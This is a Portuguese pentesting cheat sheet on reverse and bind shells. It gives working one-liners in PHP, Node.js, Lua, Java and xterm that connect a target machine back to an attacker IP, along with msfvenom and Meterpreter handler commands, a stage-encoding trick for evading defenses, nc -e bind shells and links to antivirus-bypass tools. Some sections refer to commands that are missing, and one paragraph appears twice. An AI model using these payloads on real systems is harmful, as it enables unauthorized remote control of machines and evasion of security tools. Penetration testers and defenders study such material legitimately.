Caso precise, no Kali vem alguns WebShell disponíveis em /usr/share/webshells/.
Sempre quando for executar uma shell reversa no Burp Suite e pressione CTRL+U para encodar o payload.
Reverse Shell x Bind Shell
Apesar de ambos terem o mesmo objetivo, a forma de realizar a conexão é tem uma pequena diferença, a direção de acesso. No Blind Shell, o host alvo irá abrir uma porta para o atacante se conectar, já no Reverse Shell, é o host atacante quem abre uma porta e faz com que o host alvo se conecte nela.
Melhorando o Visual da Shell
Devido a muitas vezes conseguirmos pegar uma shell que não possui um bom retorno, funcionalidades como vi não funcionam, CTRL+C encerra a sessão, não temos histórico de comandos, etc, por isso devemos deixar nossa shell mais estável.
# Dentro da shell reversapython-c'import pty; pty.spawn("/bin/bash")'CTRL+Z# Agora já no terminal do atacantesttyraw-echo# Quando digitar esse comando, não irá aparecer o que está digitando, mas continue mesmo assimfgENTER (2x)# Dentro da shell reversaresetexport SHELL=bashexport TERM=xterm-256color# No terminal do host (fora da reverse shell) maximize o terminal e veja os valores de "rows" e "columns" com o comandostty-a# Agora volte para o terminal da reverse shell e defina "rows" e "columns" com o mesmo valor retornado no comando acimasttyrows<num>columns<cols>
Mais comandos para Spawning TTY
# Estes continuam com problemas de `CTRL`+`C` e histórico de comandospython-c'import pty; pty.spawn("/bin/bash")'python-c'import pty; pty.spawn("/bin/sh")'echoos.system('/bin/bash')/bin/sh-i/bin/bash-iperl-e'exec "/bin/sh";'perl:exec"/bin/sh";ruby:exec"/bin/sh"lua:os.execute('/bin/sh')# Dentro do IRBexec"/bin/sh"# Dentro do vi:!bash# Dentro do vi:setshell=/bin/bash:shell# Dentro do nmap!sh
rlwrap
Deixa o netcat mais estável
rlwrapnc-nlvp<port>
Meterpreter
Caso tenha conseguido alguma shell no host alvo e não seja o Meterpreter, utilize o comando abaixo para atualizar sua shell para o Meterpreter:
sessions-u<session_id>
Msfvenom
Existem 2 tipos de Reverse Shell que pode ser feita com o msfvenom:
staged = Esta divide o payload em pequenos pedaços. O Meterpreter em si é uma shell em etapas, primeiro ele envia algumas partes para configurar a conexão e depois envia um pouco mais. Este não pode ser acessado pelo Netcat.
non-staged = Já este é enviado em blocos e pode ser executado tanto no Metasploit quanto no Netcat
Abre uma Reverse Shell que aceita múltiplas conexões, gerando assim várias sessões que podem ser acessadas a qualquer momento. Para gerar o payload, utilize o comando abaixo e execute a saída do comando no host alvo. Quando a vítima executar o comando, será aberta a sessão no próprio Villian
Deixe o Netcat em modo listener com o comando abaixo e execute o executável gerado com o comando acima no Windows.
nc -nlvp <port>
Bypass Powershell
Primeiro execute o código abaixo para deixarmos o Metasploit no modo listener
msfconsole-x"set LHOST <IP>; set LPORT <PORT>; use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set EnableStageEncoding true; set StageEncoder x86/xor_dynamic; run"
NOTA: Acima vimos exemplos onde executamos um comando no host alvo e enviamos a saída do comando para o host atacante. Isso é útil quando executamos o netcat, criamos uma conexão porém não conseguimos executar comandos. Caso queria, adicione o parâmetro -k (keep alive) no comando nc do host atacante para manter a conexão aberta enquanto recebe a saída dos comandos.
Abaixo possui um site para baixar o código do socat (caso a vítima não tenha instalado) e, assim que definir qual a arquitetura correta, execute como no comando abaixo:
DICA: Todos os exemplos abaixo estão utilizando o protocolo TCP, porém podemos utilizar UDP, apena susbstituindo onde está escrito TCP para UDP. Note também que os parâmetros do socat são case-insensitive.
# Host alvo. Se não funcionar, tente com 4, 5 ou 6php-r'$sock=fsockopen("<ip_atacante>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'# Host atacantemsfconsole-quseexploit/multi/handlersetpayloadphp/reverse_phpsetLHOST<ip_atacante>exploit
Insira no final do arquivo (Pesquisar se o arquivo está em ou baixar no Git).
Encontre o arquivo Invoke-PowerShellTcp.ps1 (geralmente está em /usr/share/nishang/Shells), copie para seu diretório atual (para manter o arquivo original) e insira a seguinte linha no final do arquivo:
Execute na máquina alvo com o comando iex (vide página de Powershell)
PowerShell (Manual)
Note que em alguns momentos (aqui e em outros exemplos) estamos utilizando o parâmetro -nop do powershell, que é uma abreviação de -NoProfile. Isso instrui o Powershell a não carregar o perfil de usuário. Quando o PowerShell é iniciado, por padrão, ele carrega os scripts de perfil de qualquer usuário existente, o que pode afetar negativamente a execução do nosso código. Essa opção evitará esse possível problema.
Agora pegue o resultado do comando acima para montar o comando o abaixo
echo<base64>|base64-d|bash
VILLAIN
Abre uma Reverse Shell que aceita múltiplas conexões, gerando assim várias sessões que podem ser acessadas a qualquer momento. Para gerar o payload, utilize o comando abaixo e execute a saída do comando no host alvo. Quando a vítima executar o comando, será aberta a sessão no próprio Villian
Para visualizar as sessões que estão ativas, execute:
sessions
Para acessar uma determinada sessão, execute:
shell<session_id>
NodeJS
# Execução na máquina alvo(function(){varnet=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh", []);varclient=newnet.Socket();client.connect(8080,"<ip_atacante>",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client); });return/a/; //PreventstheNode.jsapplicationformcrashing})();# Execução na máquina atacantenc-lvp8080
LUA
# Somente em Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('<ip_atacante>','<port>');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Xterm
# O seguinte comando deve ser executado no alvo. Ele tentará se conectar de volta a você na porta TCP 6001xterm-display<ip_atacante>:1# Inicie um X-Server (: 1 - que escuta na porta TCP 6001), usando o Xnest no IP do atacanteXnest:1# Agora autorize o destino a se conectar a você (IP do atacante)xhost+targetip
# Use netcat para pegar a shellsudomsfvenom-pjava/jsp_shell_reverse_tcpLHOST=<ip>LPORT=<port>-fwar><file.war>r=Runtime.getRuntime()p=r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()# OuRuntimerun=Runtime.getRuntime();String[]commands=newString[]{"/usr/bin/nc","-l","-p","<port>","-e","/bin/sh"};run.exec(<command>);
# Diversas Shellshttps://highon.coffee/blog/reverse-shell-cheat-sheet/# Bypass para Reverse Shell em Windowshttps://github.com/tihanyin/PSSW100AVB# Reverse Shell com Bypass do Windows Defenderhttps://github.com/t3l3machus/hoaxshell# Villainhttps://github.com/t3l3machus/Villain.git# Webshell PHPhttps://github.com/Arrexel/phpbash# Scripts para deixar a shell Python interativahttps://github.com/infodox/python-pty-shells.git# Código para executar o socat (caso não tenha instalado)https://github.com/andrew-d/static-binaries# Modos de deixar o shell com melhor interatividade e estabilidadehttps://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/# Mascarando o IP em octal. Útil para shell reversa ou transferir arquivos.https://www.browserling.com/tools/ip-to-oct# PowerShellhttps://github.com/samratashok/nishang.githttp://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheethttps://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md